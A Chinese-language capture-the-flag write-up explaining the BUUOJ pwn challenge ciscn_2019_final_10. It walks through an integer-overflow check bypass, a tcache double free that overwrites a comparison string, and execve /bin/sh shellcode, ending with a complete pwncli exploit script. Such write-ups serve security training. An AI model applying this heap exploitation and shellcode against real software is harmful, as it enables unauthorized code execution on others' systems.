buuoj-pwn-ciscn_2019_final_10

buuoj-pwn-ciscn_2019_final_10

总结

题目分析

glibc

ubuntu18.04,对应GLIBC2.27,对于这题,我们知道double free没检查就行

逆向分析

关键函数一

image-20221231000743151

第一个箭头所指没法绕过,随便输入就行,第二个箭头所指是重点。这里将无符号型强制转换为有符号型,存在一个从无符号型到有符号型的整数溢出。我们可以利用修改标志位的思路将v1判断时变成负数,从而输入实现输入超过255的数字。

此时注意到他出来就变成一个函数的参数,如下:

image-20221231001054528

我们称该函数为关键函数二

关键函数二

image-20221231001137330

可以看到该函数只判断了低16位,也就是2个字节,我们可以通过关键函数一的分析绕过

关键函数三

image-20221231001243497

malloc然后read,没啥好说

关键函数四

image-20221231001302483

可以free两次,有uaf,联想double free

关键函数五

image-20221231001404250

判断一个chunk中的字符串与常量字符串是否相同,相投就可以直接执行shellcode

利用思路

  • 通过整数溢出绕过那两个判断

    • 第一个判断:利用0xf0000000即可
    • 第二个判断:在0xf0000000上加0x10000
    sla('>','7resp4ss')
    #0xf0 00 00 00
    sla('>',str(0xf0000000 + 0x10000))
    
  • double free后部分修改fd,然后申请到关键函数五中的chunk,修改字符串

    add(0x30,'fxxk')
    free()
    free()
    add(0x30,'\x90')
    add(0x30,'fxxk')
    add(0x30,'The cake is a lie!\x00')
    
  • buuoj-pwn-starctf_2019_babyshell - 7resp4ss - 博客园 (cnblogs.com)思路一样,绕过strcmp,执行shellcode

    sla('>','3')
    sc = b'\x00\x0c' + ShellcodeMall.amd64.execve_bin_sh
    sl(sc)
    

EXp

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2022-12-30 23:08:46
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug



def add(size,cont):
    sla('>',str(0x1))
    sla('>',str(size))
    sa('>',str(cont))

def free():
    sla('>',str(0x2))


sla('>','7resp4ss')
#0xff 00 00 00
sla('>',str(0xf0000000 + 0x10000))


add(0x30,'fxxk')
free()
free()
add(0x30,'\x90')
add(0x30,'fxxk')
add(0x30,'The cake is a lie!\x00')

sla('>','3')
sc = b'\x00\x0c' + ShellcodeMall.amd64.execve_bin_sh
sl(sc)

ia()


posted @ 2022-12-31 00:19  7resp4ss  阅读(58)  评论(0编辑  收藏  举报